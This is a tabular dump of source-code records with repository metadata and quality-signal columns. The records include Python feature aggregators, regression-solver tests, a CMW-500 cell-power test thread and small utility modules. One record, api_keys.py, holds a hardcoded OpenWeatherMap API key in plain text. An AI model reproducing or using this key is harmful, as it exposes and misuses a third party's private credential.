hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ed68bd1d8d450093d1f9de39e63d07c64d8b318e | 32 | py | Python | pyDHFixed/__init__.py | pmichalak-l4a/pyDH | 6926e240daab294fc8c72110df5fe4ae16652eb4 | [
"Apache-2.0"
] | 30 | 2017-03-29T14:02:26.000Z | 2021-12-31T17:36:17.000Z | pyDHFixed/__init__.py | pmichalak-l4a/pyDH | 6926e240daab294fc8c72110df5fe4ae16652eb4 | [
"Apache-2.0"
] | 20 | 2021-05-03T18:02:23.000Z | 2022-03-12T12:01:04.000Z | Lib/site-packages/pyDH/__init__.py | fochoao/cpython | 3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9 | [
"bzip2-1.0.6",
"0BSD"
] | 14 | 2017-10-25T07:06:12.000Z | 2021-11-01T17:38:54.000Z | from .pyDH import DiffieHellman
| 16 | 31 | 0.84375 | 4 | 32 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 32 | 1 | 32 | 32 | 0.964286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ed75289ff4e6874e3e61a06e2f69dca5cddc43ae | 156 | py | Python | pkgs/filetransferutils-pkg/src/genie/libs/filetransferutils/plugins/junos/scp/fileutils.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 94 | 2018-04-30T20:29:15.000Z | 2022-03-29T13:40:31.000Z | pkgs/filetransferutils-pkg/src/genie/libs/filetransferutils/plugins/junos/scp/fileutils.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 67 | 2018-12-06T21:08:09.000Z | 2022-03-29T18:00:46.000Z | pkgs/filetransferutils-pkg/src/genie/libs/filetransferutils/plugins/junos/scp/fileutils.py | jbronikowski/genielibs | 200a34e5fe4838a27b5a80d5973651b2e34ccafb | [
"Apache-2.0"
] | 49 | 2018-06-29T18:59:03.000Z | 2022-03-10T02:07:59.000Z | """ File utils base class for SCP on JunOS devices. """
from ..fileutils import FileUtils as FileUtilsJunOSBase
class FileUtils(FileUtilsJunOSBase):
pass | 26 | 55 | 0.782051 | 19 | 156 | 6.421053 | 0.789474 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141026 | 156 | 6 | 56 | 26 | 0.910448 | 0.301282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
ed8be47d4b301f7d9de447873fd3b76e4a4e7444 | 30,618 | py | Python | features/text_features/helpers/blabla/blabla/sentence_aggregators/lexico_semantic_fearture_aggregator.py | jim-schwoebel/allie | d85db041b91c81dfb3fd1a4d719b5aaaf3b6697e | [
"Apache-2.0"
] | 87 | 2020-08-07T09:05:11.000Z | 2022-01-24T00:48:22.000Z | features/text_features/helpers/blabla/blabla/sentence_aggregators/lexico_semantic_fearture_aggregator.py | jim-schwoebel/allie | d85db041b91c81dfb3fd1a4d719b5aaaf3b6697e | [
"Apache-2.0"
] | 87 | 2020-08-07T19:12:10.000Z | 2022-02-08T14:46:34.000Z | features/text_features/helpers/blabla/blabla/sentence_aggregators/lexico_semantic_fearture_aggregator.py | jim-schwoebel/allie | d85db041b91c81dfb3fd1a4d719b5aaaf3b6697e | [
"Apache-2.0"
] | 25 | 2020-08-07T20:03:08.000Z | 2022-03-16T07:33:25.000Z | from blabla.sentence_processor.lexico_semantic_feature_engine import num_demonstratives
from blabla.utils.global_params import *
from collections import Counter
import numpy as np
import math
import blabla.utils.settings as settings
from blabla.utils.global_params import *
class Adjective_Rate(object):
"""Class t... | 34.210056 | 130 | 0.617839 | 4,035 | 30,618 | 4.416357 | 0.052045 | 0.06936 | 0.089787 | 0.045791 | 0.880022 | 0.854153 | 0.801627 | 0.78743 | 0.78064 | 0.76257 | 0 | 0.015642 | 0.30469 | 30,618 | 894 | 131 | 34.248322 | 0.82141 | 0.337971 | 0 | 0.672634 | 0 | 0 | 0.001372 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.171356 | false | 0 | 0.017903 | 0 | 0.375959 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9c1aa58d7a422c7d917666977fae695aec1830da | 70 | py | Python | starter_code/api_keys.py | shuotang642/Python-APIs-Challenge | 52cf9cc274faa2cb54b7c18f6302d4ebfc0f4cb8 | [
"ADSL"
] | null | null | null | starter_code/api_keys.py | shuotang642/Python-APIs-Challenge | 52cf9cc274faa2cb54b7c18f6302d4ebfc0f4cb8 | [
"ADSL"
] | null | null | null | starter_code/api_keys.py | shuotang642/Python-APIs-Challenge | 52cf9cc274faa2cb54b7c18f6302d4ebfc0f4cb8 | [
"ADSL"
] | null | null | null | # OpenWeatherMap API Key
api_key = "2b5d420394a2cb8a1fed6e5574203e5f"
| 23.333333 | 44 | 0.842857 | 6 | 70 | 9.666667 | 0.666667 | 0.206897 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.31746 | 0.1 | 70 | 2 | 45 | 35 | 0.603175 | 0.314286 | 0 | 0 | 0 | 0 | 0.695652 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9c41e7cae8f83e7e62dea71f2778af233b57503e | 44 | py | Python | ui/source/generateSecret.py | rpiskule-lewis/devops-task-server | 34993152efc0ca1ac15594482102b997a17cac9d | [
"Apache-2.0"
] | 1 | 2021-02-01T20:06:16.000Z | 2021-02-01T20:06:16.000Z | ui/source/generateSecret.py | rpiskule-lewis/devops-task-server | 34993152efc0ca1ac15594482102b997a17cac9d | [
"Apache-2.0"
] | null | null | null | ui/source/generateSecret.py | rpiskule-lewis/devops-task-server | 34993152efc0ca1ac15594482102b997a17cac9d | [
"Apache-2.0"
] | null | null | null | import secrets
print(secrets.token_hex(32))
| 14.666667 | 28 | 0.818182 | 7 | 44 | 5 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.068182 | 44 | 2 | 29 | 22 | 0.804878 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
9c4f865f6bbc17c71d282ae07e6b7f2390aae9d7 | 14,020 | py | Python | plasticnet/tests/test_solvers_functional.py | donovanr/plastic_net | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 1 | 2018-07-29T00:09:48.000Z | 2018-07-29T00:09:48.000Z | plasticnet/tests/test_solvers_functional.py | donovanr/plasticnet | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 28 | 2018-07-11T21:35:05.000Z | 2018-07-26T18:10:45.000Z | plasticnet/tests/test_solvers_functional.py | donovanr/plastic_net | 28801059133e3f73359c5787ad235eac6c7e77ee | [
"MIT"
] | 2 | 2018-10-16T17:21:25.000Z | 2019-12-23T06:45:55.000Z | import numpy as np
from sklearn import linear_model
from sklearn.preprocessing import scale
from sklearn.datasets import make_regression
from plasticnet.solvers.functional import (
ordinary_least_squares,
ridge,
lasso,
elastic_net,
general_plastic_net,
plastic_ridge,
plastic_lasso,
har... | 30.745614 | 167 | 0.677817 | 2,200 | 14,020 | 4.094091 | 0.045455 | 0.067614 | 0.034973 | 0.050516 | 0.944044 | 0.934939 | 0.934939 | 0.906406 | 0.892306 | 0.870989 | 0 | 0.033256 | 0.19572 | 14,020 | 455 | 168 | 30.813187 | 0.76552 | 0.154565 | 0 | 0.667712 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059561 | 1 | 0.053292 | false | 0 | 0.015674 | 0 | 0.068966 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
92caa188d3455fb13396e2dda05d84cfd2136dac | 41 | py | Python | misc/ranger_metaindex/__init__.py | vonshednob/metaindex | d20c043d81f353d0593af77d0cb8046aebbe3cf1 | [
"MIT"
] | 4 | 2022-01-12T14:25:49.000Z | 2022-01-29T08:10:04.000Z | misc/ranger_metaindex/__init__.py | vonshednob/metaindex | d20c043d81f353d0593af77d0cb8046aebbe3cf1 | [
"MIT"
] | null | null | null | misc/ranger_metaindex/__init__.py | vonshednob/metaindex | d20c043d81f353d0593af77d0cb8046aebbe3cf1 | [
"MIT"
] | null | null | null | from .linemode import MetaIndexLinemode
| 13.666667 | 39 | 0.853659 | 4 | 41 | 8.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121951 | 41 | 2 | 40 | 20.5 | 0.972222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
13063d80805df543b6de4e92125bddc74cd29054 | 275 | py | Python | randomColor.py | ombe1229/UsefulThings | 629655f35764eb490016df7d0bd1bdd024444fd1 | [
"WTFPL"
] | null | null | null | randomColor.py | ombe1229/UsefulThings | 629655f35764eb490016df7d0bd1bdd024444fd1 | [
"WTFPL"
] | null | null | null | randomColor.py | ombe1229/UsefulThings | 629655f35764eb490016df7d0bd1bdd024444fd1 | [
"WTFPL"
] | 1 | 2021-01-21T10:34:18.000Z | 2021-01-21T10:34:18.000Z | import random
def random_hex():
result = ""
for _ in "RGB":
i = random.randrange(0, 2**8)
result += i.to_bytes(1, "big").hex()
return result
def random_rgb():
return (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
| 19.642857 | 83 | 0.592727 | 40 | 275 | 3.975 | 0.5 | 0.245283 | 0.264151 | 0.320755 | 0.320755 | 0.320755 | 0.320755 | 0.320755 | 0 | 0 | 0 | 0.076555 | 0.24 | 275 | 13 | 84 | 21.153846 | 0.684211 | 0 | 0 | 0 | 0 | 0 | 0.021818 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0.111111 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
133d31149b52bc82f62935af5c69f9ce078a11f3 | 10,563 | py | Python | cellPowerManager.py | GCFprojects/Automation-tool-for-CMW-500 | 4a8917439af71ebef864142bfde27339f553ef9a | [
"MIT"
] | null | null | null | cellPowerManager.py | GCFprojects/Automation-tool-for-CMW-500 | 4a8917439af71ebef864142bfde27339f553ef9a | [
"MIT"
] | null | null | null | cellPowerManager.py | GCFprojects/Automation-tool-for-CMW-500 | 4a8917439af71ebef864142bfde27339f553ef9a | [
"MIT"
] | 1 | 2019-01-15T09:56:40.000Z | 2019-01-15T09:56:40.000Z | from PyQt4.QtCore import QThread
import visa
import time
class CellPowerTest(QThread):
def __init__(self, channel_to_test, connect_address='', cell_test_loop=1,
cell_1_power_min=-145, cell_1_power_max=-46,
cell_1_step=1, cell_1_time=1,
cell_2_power... | 49.825472 | 116 | 0.513964 | 1,324 | 10,563 | 3.695619 | 0.066465 | 0.103209 | 0.159411 | 0.091559 | 0.807889 | 0.774167 | 0.733088 | 0.70325 | 0.70325 | 0.6589 | 0 | 0.040554 | 0.358042 | 10,563 | 211 | 117 | 50.061611 | 0.681021 | 0.025182 | 0 | 0.63125 | 0 | 0 | 0.077198 | 0.019647 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0375 | false | 0 | 0.01875 | 0 | 0.0625 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1347bb51921a1449a797a7ccd365d2b4b2b2c105 | 30 | py | Python | charles/__init__.py | LostRabbitLabs/DeathMetal | a5f06aae9028c09e55b193255d4f7a45aa471a46 | [
"MIT"
] | 6 | 2019-11-13T23:59:40.000Z | 2020-01-22T22:53:53.000Z | charles/__init__.py | LostRabbitLabs/DeathMetal | a5f06aae9028c09e55b193255d4f7a45aa471a46 | [
"MIT"
] | null | null | null | charles/__init__.py | LostRabbitLabs/DeathMetal | a5f06aae9028c09e55b193255d4f7a45aa471a46 | [
"MIT"
] | null | null | null | from charles.charles import *
| 15 | 29 | 0.8 | 4 | 30 | 6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 30 | 1 | 30 | 30 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
13686fde95aeb4a3a7d3cbd2d1c114790532b999 | 7 | py | Python | test/assignment_samples/coma_instead_of_period_error.py | K44rel/error-explainer | 786fa558efd0c26534e51a27924167000f1d1eef | [
"MIT"
] | 3 | 2022-01-05T19:07:06.000Z | 2022-03-15T21:50:48.000Z | test/assignment_samples/coma_instead_of_period_error.py | kaareloide/error-explainer | 786fa558efd0c26534e51a27924167000f1d1eef | [
"MIT"
] | 2 | 2021-04-13T07:20:15.000Z | 2021-04-13T07:20:23.000Z | test/assignment_samples/coma_instead_of_period_error.py | kaareloide/error-explainer | 786fa558efd0c26534e51a27924167000f1d1eef | [
"MIT"
] | null | null | null | a = 3,4 | 7 | 7 | 0.428571 | 3 | 7 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | 0.285714 | 7 | 1 | 7 | 7 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
138ef216098c37ceca23ef1e51ad66431774d690 | 186 | py | Python | project_underhill/core/security.py | ErikSeguinte/project_underhill | 38ed3b14e371a3bcdda13b512bcebfd7c892abd4 | [
"MIT"
] | null | null | null | project_underhill/core/security.py | ErikSeguinte/project_underhill | 38ed3b14e371a3bcdda13b512bcebfd7c892abd4 | [
"MIT"
] | null | null | null | project_underhill/core/security.py | ErikSeguinte/project_underhill | 38ed3b14e371a3bcdda13b512bcebfd7c892abd4 | [
"MIT"
] | null | null | null | from passlib.context import CryptContext
import secrets
pwd_context = CryptContext(schemes=["argon2"], deprecated="auto")
def get_random_string():
return secrets.token_urlsafe(5)
| 20.666667 | 65 | 0.784946 | 23 | 186 | 6.173913 | 0.826087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012121 | 0.112903 | 186 | 8 | 66 | 23.25 | 0.848485 | 0 | 0 | 0 | 0 | 0 | 0.053763 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0.2 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 6 |
13b2200fff7ba525fde3a3e0a0da1949a62f4a35 | 136 | py | Python | etl/loader/db/__init__.py | damklis/etljob | c72d53c9b38e1cf38307309a55f55513ced3c8a3 | [
"BSD-2-Clause"
] | 8 | 2021-02-11T21:18:24.000Z | 2022-02-14T15:35:36.000Z | etl/loader/db/__init__.py | damklis/etljob | c72d53c9b38e1cf38307309a55f55513ced3c8a3 | [
"BSD-2-Clause"
] | 1 | 2021-06-13T10:48:07.000Z | 2021-06-13T10:48:07.000Z | etl/loader/db/__init__.py | damklis/etljob | c72d53c9b38e1cf38307309a55f55513ced3c8a3 | [
"BSD-2-Clause"
] | 2 | 2021-12-28T18:38:38.000Z | 2022-03-01T03:25:29.000Z | from etl.loader.db.flight import Flight
from etl.loader.db.base import (
engine, Session, Base
)
Base.metadata.create_all(engine)
| 17 | 39 | 0.757353 | 21 | 136 | 4.857143 | 0.571429 | 0.137255 | 0.254902 | 0.294118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139706 | 136 | 7 | 40 | 19.428571 | 0.871795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
13bf949c26c8d3e52fbd9d1d7497b3d9837ae8b9 | 18 | py | Python | src/__init__.py | tborzyszkowski/TestAutomationInPython | 843c71df796588e181466d9b9b549f03dd907a6e | [
"MIT"
] | 2 | 2020-10-08T09:44:12.000Z | 2021-10-08T08:32:19.000Z | src/__init__.py | tborzyszkowski/TestAutomationInPython | 843c71df796588e181466d9b9b549f03dd907a6e | [
"MIT"
] | null | null | null | src/__init__.py | tborzyszkowski/TestAutomationInPython | 843c71df796588e181466d9b9b549f03dd907a6e | [
"MIT"
] | 1 | 2020-10-19T14:08:00.000Z | 2020-10-19T14:08:00.000Z | from .oop import * | 18 | 18 | 0.722222 | 3 | 18 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 18 | 1 | 18 | 18 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
13c9802112e1dbe22e44e6663a959baa63a5e4b6 | 20 | py | Python | acq4/devices/PVCam/__init__.py | ablot/acq4 | ba7cd340d9d0282640adb501d3788f8c0837e4c4 | [
"MIT"
] | null | null | null | acq4/devices/PVCam/__init__.py | ablot/acq4 | ba7cd340d9d0282640adb501d3788f8c0837e4c4 | [
"MIT"
] | null | null | null | acq4/devices/PVCam/__init__.py | ablot/acq4 | ba7cd340d9d0282640adb501d3788f8c0837e4c4 | [
"MIT"
] | null | null | null | from PVCam import *
| 10 | 19 | 0.75 | 3 | 20 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 20 | 1 | 20 | 20 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
13eb775a8053d935399747d2bedaf755a615d554 | 48 | py | Python | ai/algorithms/reinforcement_learning/__init__.py | rbak/ai-implementations | 5b773c23a5582b05b8aef55ea70e800cf4ffa376 | [
"MIT"
] | null | null | null | ai/algorithms/reinforcement_learning/__init__.py | rbak/ai-implementations | 5b773c23a5582b05b8aef55ea70e800cf4ffa376 | [
"MIT"
] | null | null | null | ai/algorithms/reinforcement_learning/__init__.py | rbak/ai-implementations | 5b773c23a5582b05b8aef55ea70e800cf4ffa376 | [
"MIT"
] | null | null | null | from .monte_carlo import *
from .sarsa import *
| 16 | 26 | 0.75 | 7 | 48 | 5 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 48 | 2 | 27 | 24 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b91228598ec4e4601729a55d590f9b206cc33281 | 105 | py | Python | cassiopeia/__main__.py | Lioscro/Cassiopeia | fa630e167b3d8e6fb1c88740dff71130224ca54c | [
"MIT"
] | null | null | null | cassiopeia/__main__.py | Lioscro/Cassiopeia | fa630e167b3d8e6fb1c88740dff71130224ca54c | [
"MIT"
] | null | null | null | cassiopeia/__main__.py | Lioscro/Cassiopeia | fa630e167b3d8e6fb1c88740dff71130224ca54c | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import Cassiopeia
def main():
print("Congrats, you've entered the program!")
